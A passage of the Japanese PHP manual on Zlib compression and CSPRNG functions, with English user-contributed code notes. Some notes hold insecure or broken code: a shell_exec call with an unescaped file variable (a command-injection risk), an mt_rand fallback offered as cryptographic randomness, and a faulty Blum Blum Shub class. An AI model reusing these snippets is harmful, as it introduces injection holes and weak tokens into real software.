# gcc -lz -o zpipe zpipe.c

# cp zpipe /usr/local/bin

Then do this

<?php

$uncompressed = shell_exec("cat $compressed_file | zpipe -d");

?>
heavyccasey at gmail dot com 07-Nov-2007 08:30
Note that gzuncompress() may not decompress some compressed strings and return a Data Error.

The problem could be that the outside compressed string has a CRC32 checksum at the end of the file instead of Adler-32, like PHP expects.

Workaround:
<?php
    function gzuncompress_crc32($data) {
         $f = tempnam('/tmp', 'gz_fix');
         file_put_contents($f, "\x1f\x8b\x08\x00\x00\x00\x00\x00" . $data);
         return file_get_contents('compress.zlib://' . $f);
    }
?>
gabriel at bumpt dot n-et 17-Sep-2007 03:08
To uncompress in PHP a string that has been compressed using MySQL's COMPRESS() function, you need to discard the first four bytes of the binary data:

<?php

  /*
   * Example:
   *
   * insert into mytable (myfield, ...) values (COMPRESS('foobar'), ...)
   *
   * then:
   */
$compressed = //...select myfield from mytable where...
  /*
   * then:
   */
$uncompressed = gzuncompress(substr($compressed, 4));
?>

Of course, you can use MySQL's UNCOMPRESS() function.
I was just providing an alternate method.
emanuele at fondani dot it 25-Nov-2006 03:21
Note that the manual states that the input parameter must be a string compressed with gzcompress(), so it is not guaranteed that it will compress ANY zlib compressed string.
I realized this while decompressing some compressed string in a pdf file. The gzuncompress() function produces a data error, but the string can be successfully decompressed with other zlib decompressors.

More info here:
http://bugs.php.net/?id=39616
chappy at citromail dot hu 13-Apr-2006 07:47
Reading an ID3v2.3+ tag it is versy useful, because these tag's frames might be compressed. Zlib compressed frame layout (ID3v2.3):

Descriptior                                                    Size
-------------------
Frameheader:
Frame id:                                                      4 bytes
Frame size (full frame size - frameheader size): 4 bytes
Frame flags:                                                  2 bytes
    The 2nd byte's 7th bit must be 1 (e.g.: %1xy00000)
Frame content decrompessed size:                   4 bytes
--------------------
Framecontent:
Compressed string                                          described in 'frame size'

<?php
$frame="[read from a mp3 file]";
$frame_id=substr($frame,0,4);
/*....*/
$cs=substr($frame,10,4);
$checksize=$cs[3]*16777216+$cs[2]*65536+$cs[1]*256+$cs[0];

$content=substr($frame,14,$contentsize);
$content=gzuncompress($content);
if(strlen($content)!=$checksize){
    echo 'Error whil uncrompessing frame data<br>';
}
echo $content;
?>


バイナリセーフな gz ファイル書き込み

  • ≪ gzuncompress
  • inflate_add ≫
  • PHP Manual
  • Zlib 関数
  • バイナリセーフな gz ファイル書き込み

gzwrite

(PHP 4, PHP 5, PHP 7, PHP 8)

gzwrite — バイナリセーフな gz ファイル書き込み

説明

gzwrite ( resource $stream , string $data , int|null $length = null ) : int|false

gzwrite() は data の内容を与えられた gz ファイルに書き込みます。

パラメータ

stream

gz ファイルポインタを指定します。これは有効なファイルポインタであり、 かつ、gzopen() によりオープンできたファイルを指している必要があります。

data

書き込む文字列を指定します。

length

書き込む解凍されたバイト数を指定します。 もし指定された場合、 length バイトのデータが書き込まれたか、 data の終わりに達した時に 書き込みは終了します。

注意:

引数 length が指定された場合、 magic_quotes_runtime 設定オプションは無視されて data から スラッシュが取り除かれなくなることに注意してください。

変更履歴

バージョン | 説明
8.0.0 | length は、nullable になりました。 これより前のバージョンでは、デフォルト値は 0 でした。
7.4.0 | この関数は、失敗時に false を返すようになりました。 これより前のバージョンでは、0 を返していました。

返り値

与えられた gz ファイルストリームに書き込まれた (解凍された) バイト数を返します。失敗した場合に false を返します

例

例1 gzwrite() の例

<?php
$string = 'Some information to compress';
$gz = gzopen('somefile.gz','w9');
gzwrite($gz, $string);
gzclose($gz);
?>

参考

  • gzread() - バイナリ対応のgzファイル読み込み
  • gzopen() - gz ファイルを開く

User Contributed Notes

Take Heed 07-Nov-2010 12:50
Read the description of gzwrite() very carefully.  If the 'length' option is not specified, then the input data will have slashes stripped on systems where magic quotes are enabled.  This is important information to know when compressing files.

<?php
$data = fread($fp, 5000);
gzwrite($fp2, $data, strlen($data));
?>

Is the correct way to avoid issues with magic quotes.
calmarius at nospam dot atw dot hu 05-Feb-2009 08:07
gz compression is often used with tar archives. Building tar archives is quite easy. Here is a code snipplet which can be used for building tar archives before compressing them to tar.gz.

<?php

//\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\
// Adds file header to the tar file, it is used before adding file content.
// f: file resource (provided by eg. fopen)
// phisfn: path to file
// archfn: path to file in archive, directory names must be followed by '/'
//\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\
function TarAddHeader($f,$phisfn,$archfn)
{
    $info=stat($phisfn);
    $ouid=sprintf("%6s ", decoct($info[4]));
    $ogid=sprintf("%6s ", decoct($info[5]));
    $omode=sprintf("%6s ", decoct(fileperms($phisfn)));
    $omtime=sprintf("%11s", decoct(filemtime($phisfn)));
    if (@is_dir($phisfn))
    {
         $type="5";
         $osize=sprintf("%11s ", decoct(0));
    }
    else
    {
         $type='';
         $osize=sprintf("%11s ", decoct(filesize($phisfn)));
         clearstatcache();
    }
    $dmajor = '';
    $dminor = '';
    $gname = '';
    $linkname = '';
    $magic = '';
    $prefix = '';
    $uname = '';
    $version = '';
    $chunkbeforeCS=pack("a100a8a8a8a12A12",$archfn, $omode, $ouid, $ogid, $osize, $omtime);
    $chunkafterCS=pack("a1a100a6a2a32a32a8a8a155a12", $type, $linkname, $magic, $version, $uname, $gname, $dmajor, $dminor ,$prefix,'');

    $checksum = 0;
    for ($i=0; $i<148; $i++) $checksum+=ord(substr($chunkbeforeCS,$i,1));
    for ($i=148; $i<156; $i++) $checksum+=ord(' ');
    for ($i=156, $j=0; $i<512; $i++, $j++)    $checksum+=ord(substr($chunkafterCS,$j,1));

    fwrite($f,$chunkbeforeCS,148);
    $checksum=sprintf("%6s ",decoct($checksum));
    $bdchecksum=pack("a8", $checksum);
    fwrite($f,$bdchecksum,8);
    fwrite($f,$chunkafterCS,356);
    return true;
}
//\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/
// Writes file content to the tar file must be called after a TarAddHeader
// f:file resource provided by fopen
// phisfn: path to file
//\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/
function TarWriteContents($f,$phisfn)
{
    if (@is_dir($phisfn))
    {
        return;
    }
    else
    {
        $size=filesize($phisfn);
        $padding=$size % 512 ? 512-$size%512 : 0;
        $f2=fopen($phisfn,"rb");
        while (!feof($f2)) fwrite($f,fread($f2,1024*1024));
        $pstr=sprintf("a%d",$padding);
        fwrite($f,pack($pstr,''));
    }
}
//\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/
// Adds 1024 byte footer at the end of the tar file
// f: file resource
//\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/
function TarAddFooter($f)
{
    fwrite($f,pack('a1024',''));
}

?>
repository at lamaresh dot net 03-Feb-2009 10:37
This function add a line to a .gz compressed file

<?php
function AppendLineGz($file,$string) {
    if (file_exists($file)) {
        $lines = gzfile($file);
        $lines[count($lines)] = "$string\r\n";
        $input=implode($lines);
    } else {$input="$string\r\n";}
    $gz = gzopen($file,'w9');
    gzwrite($gz, $input);
    gzclose($gz);
}
?>
Anonymous 27-Mar-2008 12:34
katzlbtjunk's method is certainly shorter, but it is unusable for anything except small files.  It would try to load the whole file into memory, then create an entire compressed copy, and only then write it to disk.  The other method given below will not exhaust memory like that.
katzlbtjunk at hotmail dot com 21-Feb-2008 11:24
How about this instead:
$s = file_get_contents('file.tar');
file_put_contents('file.tar.gz',gzencode($s,9));
Kioob 13-Aug-2003 04:30
This is a short example of use gzwrite function.
<?php
function gzcompressfile($source,$level=false){
    $dest=$source.'.gz';
    $mode='wb'.$level;
    $error=false;
    if($fp_out=gzopen($dest,$mode)){
        if($fp_in=fopen($source,'rb')){
            while(!feof($fp_in))
                gzwrite($fp_out,fread($fp_in,1024*512));
            fclose($fp_in);
            }
          else $error=true;
        gzclose($fp_out);
        }
      else $error=true;
    if($error) return false;
      else return $dest;
    }
?>

the function gzcompressfile() compress a file 'data.csv' to 'data.csv.gz'. the function return false if error, and the new file name if it's ok.


インクリメンタルにエンコードされたデータを解凍する

  • ≪ gzwrite
  • inflate_get_read_len ≫
  • PHP Manual
  • Zlib 関数
  • インクリメンタルにエンコードされたデータを解凍する

inflate_add

(PHP 7, PHP 8)

inflate_add — インクリメンタルにエンコードされたデータを解凍する

説明

inflate_add ( InflateContext $context , string $data , int $flush_mode = ZLIB_SYNC_FLUSH ) : string|false

指定された context でエンコードされたデータをインクリメンタルに解凍します。

制限: GZIP 圧縮されたデータからは、ヘッダ情報は利用できません。

パラメータ

context

inflate_init() で作られたコンテクスト

data

圧縮されたデータのチャンク

flush_mode

ZLIB_BLOCK, ZLIB_NO_FLUSH, ZLIB_PARTIAL_FLUSH, ZLIB_SYNC_FLUSH (デフォルト), ZLIB_FULL_FLUSH, ZLIB_FINISH のいずれか。 通常は、圧縮率を最大にするために、 ZLIB_NO_FLUSH を指定するでしょうし、 データの最後のチャンクで終了させるために ZLIB_FINISH を指定するでしょう。 これらの定数の詳細な説明は » zlib manual を参照してください。

返り値

解凍されたデータのチャンクを返します。 失敗した場合に false を返します

エラー / 例外

不正な引数が与えられた場合、データの解凍にはあらかじめ設定された辞書が必要なのに 何も指定されなかった場合、圧縮データが壊れていたり、不正なチェックサムだった場合、 エラーレベル E_WARNING が生成されます。

変更履歴

バージョン | 説明
8.0.0 | context は、 InflateContext クラスのインスタンスを期待するようになりました。 これより前のバージョンでは、resource を期待していました。

参考

  • inflate_init() - インクリメンタルな解凍コンテキストを初期化する

User Contributed Notes

There are no user contributed notes for this page.


これまでに読み取ったバイト数を得る

  • ≪ inflate_add
  • inflate_get_status ≫
  • PHP Manual
  • Zlib 関数
  • これまでに読み取ったバイト数を得る

inflate_get_read_len

(PHP 7 >= 7.2.0, PHP 8)

inflate_get_read_len — これまでに読み取ったバイト数を得る

説明

inflate_get_read_len ( InflateContext $context ) : int

警告

この関数は、 現在のところ詳細な情報はありません。引数のリストのみが 記述されています。

パラメータ

context

返り値

これまでに読み取ったバイト数を返します。 失敗した場合に false を返します

変更履歴

バージョン | 説明
8.0.0 | context は、 InflateContext クラスのインスタンスを期待するようになりました。 これより前のバージョンでは、resource を期待していました。

User Contributed Notes

There are no user contributed notes for this page.


解凍の状態を取得する

  • ≪ inflate_get_read_len
  • inflate_init ≫
  • PHP Manual
  • Zlib 関数
  • 解凍の状態を取得する

inflate_get_status

(PHP 7 >= 7.2.0, PHP 8)

inflate_get_status — 解凍の状態を取得する

説明

inflate_get_status ( InflateContext $context ) : int

通常 ZLIB_OK か ZLIB_STREAM_END を返します。

パラメータ

context

返り値

解凍の状態を返します。 失敗した場合に false を返します

変更履歴

バージョン | 説明
8.0.0 | context は、 InflateContext クラスのインスタンスを期待するようになりました。 これより前のバージョンでは、resource を期待していました。

User Contributed Notes

There are no user contributed notes for this page.


インクリメンタルな解凍コンテキストを初期化する

  • ≪ inflate_get_status
  • readgzfile ≫
  • PHP Manual
  • Zlib 関数
  • インクリメンタルな解凍コンテキストを初期化する

inflate_init

(PHP 7, PHP 8)

inflate_init — インクリメンタルな解凍コンテキストを初期化する

説明

inflate_init ( int $encoding , array $options = [] ) : InflateContext|false

指定された encoding でインクリメンタルな解凍コンテキストを初期化します

パラメータ

encoding

定数 ZLIB_ENCODING_* のうちのひとつ

options

次の要素を含む連想配列:

level

-1 .. 9 までの圧縮レベル。デフォルトは -1 です。

memory

1 .. 9 までの圧縮メモリレベル。デフォルトは8です。

window

8 .. 15 までの zlib の window サイズ(対数)。 デフォルトは 15 です。

strategy

ZLIB_FILTERED, ZLIB_HUFFMAN_ONLY, ZLIB_RLE, ZLIB_FIXED, ZLIB_DEFAULT_STRATEGY (デフォルト) のうちのひとつです。

dictionary

あらかじめ設定されたディクショナリの string または strings の array。 (デフォルト: 辞書なし)

返り値

成功した場合、解凍コンテキストリソース(zlib.inflate) を返します。 失敗した場合に false を返します

エラー / 例外

不正なオプションが options に渡されたり、 コンテキストが作れなかった場合には、 E_WARNING レベルのエラーが発生します。

変更履歴

バージョン | 説明
8.0.0 | 成功時に、この関数は InflateContext クラスのインスタンスを返すようになりました。 これより前のバージョンでは、 resource を返していました。

参考

  • inflate_add() - インクリメンタルにエンコードされたデータを解凍する
  • deflate_init() - インクリメンタルな圧縮コンテキストを初期化する

User Contributed Notes

There are no user contributed notes for this page.


gz ファイルを出力する

  • ≪ inflate_init
  • zlib_decode ≫
  • PHP Manual
  • Zlib 関数
  • gz ファイルを出力する

readgzfile

(PHP 4, PHP 5, PHP 7, PHP 8)

readgzfile — gz ファイルを出力する

説明

readgzfile ( string $filename , int $use_include_path = 0 ) : int|false

ファイルを読み込み、解凍し、標準出力に書き込みます。

readgzfile()は、gzip フォーマットでないファイルの読込にも使用可能です。この場合、 readgzfile() はファイルを解凍せずに直接読込みます。

パラメータ

filename

ファイル名を指定します。このファイルはファイルシステムからオープンされ、 内容は標準出力に書き込まれます。

use_include_path

include_path にあるファイルも検索したい場合、このオプションパラメータを 1 に設定してください。

返り値

成功時は、ファイルから読み込んだ (解凍された) データのバイト数を返します。 失敗した場合に false を返します

エラー / 例外

失敗したときは E_WARNING が発生します。

参考

  • gzpassthru() - gzファイルへのポインタから残りのデータ全部を出力する
  • gzfile() - gzファイル全体を配列に読み込む
  • gzopen() - gz ファイルを開く

User Contributed Notes

glennh at webadept dot net 02-Oct-2003 01:52
This is a rather simple example of usage for this function, but it does work, and it solved a problem I was using with old browsers accessing gzipped files.

<?PHP

// first we need to stop the server from sending any headers at all.
ob_start();

readgzfile("test.html.gz"); // read the file and output directly to
the browser
                                      // non compressed data from the
file

ob_end_flush(); // let the headers go//

?>

There is no need for any html formating if the source file is an HTML formated page, such as the ones I'm using are. Checking the browser version, sends either the gzip file directly, or sends the browser to a page like this, which does the work for it. Well done simple function.

My server is running PHP 4.2.2 on Linux Redhat version 9 and
Apache 2.0.40


raw/gzip/zlib で符号化されたデータを復元する

  • ≪ readgzfile
  • zlib_encode ≫
  • PHP Manual
  • Zlib 関数
  • raw/gzip/zlib で符号化されたデータを復元する

zlib_decode

(PHP 5 >= 5.4.0, PHP 7, PHP 8)

zlib_decode — raw/gzip/zlib で符号化されたデータを復元する

説明

zlib_decode ( string $data , int $max_length = 0 ) : string|false

raw/gzip/zlib で符号化されたデータを復元します。

警告

この関数は、 現在のところ詳細な情報はありません。引数のリストのみが 記述されています。

パラメータ

data

max_length

返り値

圧縮されていないデータを返します。失敗した場合に false を返します。

参考

  • zlib_encode() - 指定した符号化方式でデータを圧縮する

User Contributed Notes

anonymous at dekho-ji dot com 17-May-2013 09:10
To decode / uncompress the received HTTP POST data in PHP code, request data coming from Java / Android application via HTTP POST GZIP / DEFLATE compressed format

1) Data sent from Java Android app to PHP using DeflaterOutputStream java class and received in PHP as shown below
echo gzinflate( substr($HTTP_RAW_POST_DATA,2,-4) ) . PHP_EOL  . PHP_EOL;

2) Data sent from Java Android app to PHP using GZIPOutputStream java class and received in PHP code as shown below
echo gzinflate( substr($HTTP_RAW_POST_DATA,10,-8) ) . PHP_EOL  . PHP_EOL;

From Java Android side (API level 10+), data being sent in DEFLATE compressed format
        String body = "Lorem ipsum shizzle ma nizle";
        URL url = new URL("http://www.url.com/postthisdata.php");
        URLConnection conn = url.openConnection();
        conn.setDoOutput(true);
        conn.setRequestProperty("Content-encoding", "deflate");
        conn.setRequestProperty("Content-type", "application/octet-stream");
        DeflaterOutputStream dos = new DeflaterOutputStream(
                conn.getOutputStream());
        dos.write(body.getBytes());
        dos.flush();
        dos.close();
        BufferedReader in = new BufferedReader(new InputStreamReader(
                conn.getInputStream()));
        String decodedString = "";
        while ((decodedString = in.readLine()) != null) {
            Log.e("dump",decodedString);
        }
        in.close();

On PHP side (v 5.3.1), code for decompressing this DEFLATE data will be
    echo substr($HTTP_RAW_POST_DATA,2,-4);

From Java Android side (API level 10+), data being sent in GZIP compressed format

        String body1 = "Lorem ipsum shizzle ma nizle";
        URL url1 = new URL("http://www.url.com/postthisdata.php");
        URLConnection conn1 = url1.openConnection();
        conn1.setDoOutput(true);
        conn1.setRequestProperty("Content-encoding", "gzip");
        conn1.setRequestProperty("Content-type", "application/octet-stream");
        GZIPOutputStream dos1 = new GZIPOutputStream(conn1.getOutputStream());
        dos1.write(body1.getBytes());
        dos1.flush();
        dos1.close();
        BufferedReader in1 = new BufferedReader(new InputStreamReader(
                conn1.getInputStream()));
        String decodedString1 = "";
        while ((decodedString1 = in1.readLine()) != null) {
            Log.e("dump",decodedString1);
        }
        in1.close();

On PHP side (v 5.3.1), code for decompressing this GZIP data will be
    echo substr($HTTP_RAW_POST_DATA,10,-8);

Useful PHP code for printing out compressed data using all available formats.

$data = "Lorem ipsum shizzle ma nizle";
echo "\n\n\n";
for($i=-1;$i<=9;$i++)
    echo chunk_split(strtoupper(bin2hex(gzcompress($data,$i))),2," ") . PHP_EOL  . PHP_EOL;
echo "\n\n\n";
for($i=-1;$i<=9;$i++)
    echo chunk_split(strtoupper(bin2hex(gzdeflate($data,$i))),2," ") . PHP_EOL  . PHP_EOL;
echo "\n\n\n";
for($i=-1;$i<=9;$i++)
    echo chunk_split(strtoupper(bin2hex(gzencode($data,$i,FORCE_GZIP))),2," ") . PHP_EOL  . PHP_EOL;
echo "\n\n\n";
for($i=-1;$i<=9;$i++)
    echo chunk_split(strtoupper(bin2hex(gzencode($data,$i,FORCE_DEFLATE))),2," ") . PHP_EOL  . PHP_EOL;
echo "\n\n\n";

Hope this helps. Please ThumbsUp if this saved you a lot of effort and time.


指定した符号化方式でデータを圧縮する

  • ≪ zlib_decode
  • zlib_get_coding_type ≫
  • PHP Manual
  • Zlib 関数
  • 指定した符号化方式でデータを圧縮する

zlib_encode

(PHP 5 >= 5.4.0, PHP 7, PHP 8)

zlib_encode — 指定した符号化方式でデータを圧縮する

説明

zlib_encode ( string $data , int $encoding , int $level = -1 ) : string|false

指定した符号化方式でデータを圧縮します。

警告

この関数は、 現在のところ詳細な情報はありません。引数のリストのみが 記述されています。

パラメータ

data

圧縮するデータ。

encoding

圧縮アルゴリズム。 ZLIB_ENCODING_RAW、 ZLIB_ENCODING_DEFLATE または ZLIB_ENCODING_GZIP 。

level

返り値

例

例1 zlib_encode() の例

<?php
$str = 'hello world';
$enc = zlib_encode($str, ZLIB_ENCODING_DEFLATE);
echo bin2hex($enc);
?>

上の例の出力は以下となります。

789ccb48cdc9c95728cf2fca4901001a0b045d

参考

  • zlib_decode() - raw/gzip/zlib で符号化されたデータを復元する

User Contributed Notes

There are no user contributed notes for this page.


出力圧縮に使用されたコーディングの種類を返す

  • ≪ zlib_encode
  • DeflateContext ≫
  • PHP Manual
  • Zlib 関数
  • 出力圧縮に使用されたコーディングの種類を返す

zlib_get_coding_type

(PHP 4 >= 4.3.2, PHP 5, PHP 7, PHP 8)

zlib_get_coding_type — 出力圧縮に使用されたコーディングの種類を返す

説明

zlib_get_coding_type ( ) : string|false

出力圧縮に使用されたコーディングの種類を返します。

返り値

返される値は gzip, deflate, もしくは false です。

参考

  • zlib.output_compression ディレクティブ

User Contributed Notes

There are no user contributed notes for this page.


DeflateContext クラス

(PHP 8)

はじめに

PHP 8.0.0 以降、 zlib.deflate リソースを置き換える完全不透明クラスです。

クラス概要

final DeflateContext {
}

User Contributed Notes

There are no user contributed notes for this page.


InflateContext クラス

(PHP 8)

はじめに

PHP 8.0.0 以降、 zlib.inflate リソースを置き換える完全不透明クラスです。

クラス概要

final InflateContext {
}

User Contributed Notes

There are no user contributed notes for this page.


暗号

  • CSPRNG
    • はじめに
    • インストール/設定
    • 定義済み定数
    • CSPRNG 関数
  • Hash — HASH メッセージダイジェストフレームワーク
    • はじめに
    • インストール/設定
    • 定義済み定数
    • HashContext — HashContext クラス
    • Hash 関数
  • Mcrypt
    • はじめに
    • インストール/設定
    • 定義済み定数
    • Mcrypt 暗号
    • 例
    • Mcrypt 関数
  • Mhash
    • はじめに
    • インストール/設定
    • 定義済み定数
    • 例
    • Mhash 関数
  • OpenSSL
    • はじめに
    • インストール/設定
    • 定義済み定数
    • キー/証明書パラメータ
    • 証明書の認証
    • OpenSSL 関数
    • OpenSSLCertificate — OpenSSLCertificate クラス
    • OpenSSLCertificateSigningRequest — OpenSSLCertificateSigningRequest クラス
    • OpenSSLAsymmetricKey — OpenSSLAsymmetricKey クラス
  • パスワードのハッシュ
    • はじめに
    • インストール/設定
    • 定義済み定数
    • Password Hashing 関数
  • Sodium
    • はじめに
    • インストール/設定
    • 定義済み定数
    • Sodium 関数
    • SodiumException — SodiumException クラス

User Contributed Notes

There are no user contributed notes for this page.


CSPRNG

  • はじめに
  • インストール/設定
    • 要件
    • インストール手順
    • 実行時設定
    • リソース型
  • 定義済み定数
  • CSPRNG 関数
    • random_bytes — 暗号論的に安全な、疑似ランダムなバイト列を生成する
    • random_int — 暗号論的に安全な疑似乱数を生成する

User Contributed Notes

There are no user contributed notes for this page.


はじめに

» cryptographically secure pseudo-random number generator (CSPRNG) API は、 暗号学的に強固な乱数やバイト列を 暗号化の文脈で使うための、 簡単で信頼性が高い方法を提供します。

これが使えるようになった PHP のバージョンは 7.0.0 ですが、 PHP >= 5.2.0 で使える » ユーザーランドの実装 も公開されています。

User Contributed Notes

There are no user contributed notes for this page.


CSPRNG 関数

目次

  • random_bytes — 暗号論的に安全な、疑似ランダムなバイト列を生成する
  • random_int — 暗号論的に安全な疑似乱数を生成する

User Contributed Notes

There are no user contributed notes for this page.


暗号論的に安全な、疑似ランダムなバイト列を生成する

  • ≪ CSPRNG 関数
  • random_int ≫
  • PHP Manual
  • CSPRNG 関数
  • 暗号論的に安全な、疑似ランダムなバイト列を生成する

random_bytes

(PHP 7, PHP 8)

random_bytes — 暗号論的に安全な、疑似ランダムなバイト列を生成する

説明

random_bytes ( int $length ) : string

ソルトやキーや初期化ベクトルのような、暗号化の用途に合った、 暗号論的にランダムなバイト列を任意の長さの文字列として生成します。

この関数が使う不規則性のソースはつぎのとおりです。

  • Windows では、常に » CryptGenRandom() を使います。PHP 7.2.0 以降は、常に » CNG-API を使うようになりました。
  • Linux では、システムコール » getrandom(2) があればそれを使います。
  • その他のプラットフォームでは、 /dev/urandom を使います。
  • これらがいずれも使えない場合は、 Exception をスローします。

注意: この関数は PHP 7.0 で追加されたものですが、PHP 5.2 から 5.6 までのバージョンで使える » ユーザーランドの実装 も公開されています。

パラメータ

length

返すべきランダムな文字列の長さをバイト単位で指定します。

返り値

暗号論的に安全なランダムなバイト列を含んだ文字列を返します。

エラー / 例外

  • 適切な不規則性のソースが見つからない場合は Exception をスローします。
  • 無効なパラメータが指定された場合は TypeError をスローします。
  • 不正な length が指定されると、 Error がスローされます。

例

例1 random_bytes() の例

<?php
$bytes = random_bytes(5);
var_dump(bin2hex($bytes));
?>

上の例の出力は、 たとえば以下のようになります。

string(10) "385e33f741"

参考

  • random_int() - 暗号論的に安全な疑似乱数を生成する
  • openssl_random_pseudo_bytes() - 疑似ランダムなバイト文字列を生成する
  • bin2hex() - バイナリのデータを16進表現に変換する

User Contributed Notes

ccb2357 at gmail dot com 15-May-2020 03:49
<?php
    // PHP >= 7
    function str_rand(int $length = 20){
        $ascii_codes = range(48, 57) + range(97, 122);
        $codes_lenght = (count($ascii_codes)-1);
        shuffle($ascii_codes);
        $string = '';
        for($i = 1; $i <= $length; $i++){
            $previous_char = $char ?? '';
            $char = chr($ascii_codes[random_int(0, $codes_lenght)]);
            while($char == $previous_char){
                $char = chr($ascii_codes[random_int(0, $codes_lenght)]);
            }
            $string .= $char;
        }
        return $string;
    }
?>
ccbsschucko at gmail dot com 25-May-2018 12:06
<?php
    function str_rand(int $length = 64){ // 64 = 32
        $length = ($length < 4) ? 4 : $length;
        return bin2hex(random_bytes(($length-($length%2))/2));
    }

    var_dump(str_rand());
    // d6199909d0b5fdc22c9db625e4edf0d6da2b113b21878cde19e96f4afe69e714
?>
atesin () gmail ! com 24-Feb-2018 04:01
if unavailable use this with core functions... maybe not as secure and optimized (any help?), but practical

<?php

$bytes = '';
while (strlen($bytes) < $lenght)
  $bytes .= chr(mt_rand(0, 255));

?>
Anonymous 06-Jan-2018 07:17
Simple php implementation of Blum Blum Shub.

<?php

$bbs = new BlumBlumShub(400);
var_dump(bin2hex($bbs->getRandomPseudoBytes(32)));
// out like 02b3b55d6aea2f26a0ddfcd8967597fb0d38d7c6c4027f0595f5a614b9f06400

class BlumBlumShub
{
    private $p, $q, $s, $m, $init, $x0;
    private $size = 1024;

    public function __construct($size = false, $p = false, $q = false, $s = false)
    {
        if($p !== false && $q !== false && $s !== false)
        {
            $this->p = $p;
            $this->q = $q;
            $this->m = bcmul($p, $q);
            $this->s = $s;
        } else {
            if($size !== false)
                $this->size = $size;
            $this->init();
        }

        $this->xn = bcmod(bcmul($this->s, $this->s), $this->m);
        for($i=0;$i<10;$i++)
            $this->xn = bcmod(bcmul($this->xn, $this->xn), $this->m);
    }

    private function init()
    {
        $this->p = $this->genPrime();
        $this->q = $this->genPrime();
        $this->m = bcmul($this->p, $this->q);

        $mCoPrime = gmp_init($this->m);

        # try find co-prime
        while(1)
        {
            $s = genPrime($this->size);
            $sCoPrime = gmp_init($s);
            $g = gmp_gcdext($mCoPrime, $sCoPrime);
            $g = gmp_strval($g['g']);
            if($g === '1')
                break;
        }

        $this->s = $s;
    }

    public function genPrime()
    {
        while(1)
        {
            $min = gmp_init(str_pad('1', $this->size, '0'));
            $max = gmp_init(str_pad('9', $this->size, '0'));
            $prime = gmp_strval(gmp_random_range($min, $max));

            $validate = bcmod($prime, '4');
            if($validate === '3')
                break;
        }

        return $prime;
    }

    public function getRandomPseudoBytes($length)
    {
        $bytes = '';

        for($i=0;$i<$length;$i++)
            $bytes .= $this->getByte();

        return $bytes;
    }

    public function getByte()
    {
        $byte = '';

        for($i=0;$i<8;$i++) {
            $this->xn = bcmod(bcmul($this->xn, $this->xn), $this->m);
            $byte .= substr(decbin($this->xn[strlen($this->xn)-1]), -1);
        }

        return chr(bindec($byte));
    }
}
?>
ccb_bc at hotmail dot com 03-Nov-2017 03:23
function str_rand($largura = 32){
        $chars = str_shuffle('0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz');
        // separar a string acima com uma virgula apos cada letra ou numero;
        $chars = preg_replace("/([a-z0-9])/i", "$1,", $chars);
        $chars = explode(',', $chars);

        $string_generate = array();
        for($i = 0; $i < $largura; $i++){
            // $chars[random_int(0, 61) = largura da array $chars
            array_push($string_generate, $chars[random_int(0, 61)]);
        }
        $string_ready = str_shuffle(implode($string_generate));

        for($i = 0; $i < random_int(256,512); $i++){
            $random_string = str_shuffle($string_ready);
        }
        // se a largura for um numero par o numero de caracteres da string for maior ou igual a 4
        if($largura % 2 === 0 && strlen($random_string) >= 4){
            $random_string_start = str_shuffle(substr($random_string, 0, $largura / 2));
            $random_string_end = str_shuffle(substr($random_string, $largura / 2, $largura));
            $new_random_string = str_shuffle($random_string_start . $random_string_end);
            return str_shuffle($new_random_string);
        }
        else {
            return str_shuffle($random_string);
        }
    }
akam at akameng dot com 01-Mar-2016 01:53
I used below function to create random token, and also a salt from the token. I used it in my application to prevent CSRF attack.

<?php
function RandomToken($length = 32){
    if(!isset($length) || intval($length) <= 8 ){
      $length = 32;
    }
    if (function_exists('random_bytes')) {
        return bin2hex(random_bytes($length));
    }
    if (function_exists('mcrypt_create_iv')) {
        return bin2hex(mcrypt_create_iv($length, MCRYPT_DEV_URANDOM));
    }
    if (function_exists('openssl_random_pseudo_bytes')) {
        return bin2hex(openssl_random_pseudo_bytes($length));
    }
}

function Salt(){
    return substr(strtr(base64_encode(hex2bin(RandomToken(32))), '+', '.'), 0, 44);
}

echo (RandomToken());
echo "\n";
echo Salt();
echo "\n";

/*
This function is same as above but its only used for debugging
*/
function RandomTokenDebug($length = 32){
    if(!isset($length) || intval($length) <= 8 ){
      $length = 32;
    }
    $randoms = array();
    if (function_exists('random_bytes')) {
        $randoms['random_bytes'] = bin2hex(random_bytes($length));
    }
    if (function_exists('mcrypt_create_iv')) {
        $randoms['mcrypt_create_iv'] = bin2hex(mcrypt_create_iv($length, MCRYPT_DEV_URANDOM));
    }
    if (function_exists('openssl_random_pseudo_bytes')) {
        $randoms['openssl_random_pseudo_bytes'] = bin2hex(openssl_random_pseudo_bytes($length));
    }

    return $randoms;
}
echo "\n";
print_r (RandomTokenDebug());

?>


暗号論的に安全な疑似乱数を生成する

  • ≪ random_bytes
  • Hash ≫
  • PHP Manual
  • CSPRNG 関数
  • 暗号論的に安全な疑似乱数を生成する

random_int

(PHP 7, PHP 8)

random_int — 暗号論的に安全な疑似乱数を生成する

説明

random_int ( int $min , int $max ) : int

ポーカーゲームやカードデッキのシャッフルのような、 偏りがない結果が重要になる用途に合う、 暗号学的にランダムな整数を生成します。

この関数が使う不規則性のソースはつぎのとおりです。

  • Windows では、常に » CryptGenRandom() を使います。PHP 7.2.0 以降は、常に » CNG-API を使うようになりました。
  • Linux では、システムコール » getrandom(2) があればそれを使います。
  • その他のプラットフォームでは、 /dev/urandom を使います。
  • これらがいずれも使えない場合は、 Exception をスローします。

注意: この関数は PHP 7.0 で追加されたものですが、PHP 5.2 から 5.6 までのバージョンで使える » ユーザーランドの実装 も公開されています。

パラメータ

min

返される最小値。 この値は、PHP_INT_MIN 以上でなければなりません。

max

返される最大値。 この値は、PHP_INT_MAX 以下でなければなりません。

返り値

min と max の範囲で、 暗号学的に安全なランダムな整数値を返します (min と max を含みます)

エラー / 例外

  • 適切な不規則性のソースが見つからない場合は Exception をスローします。
  • 無効なパラメータが指定された場合は TypeError をスローします。
  • max が min より小さい場合、 Error がスローされます。

例

例1 random_int() の例

<?php
var_dump(random_int(100, 999));
var_dump(random_int(-1000, 0));
?>

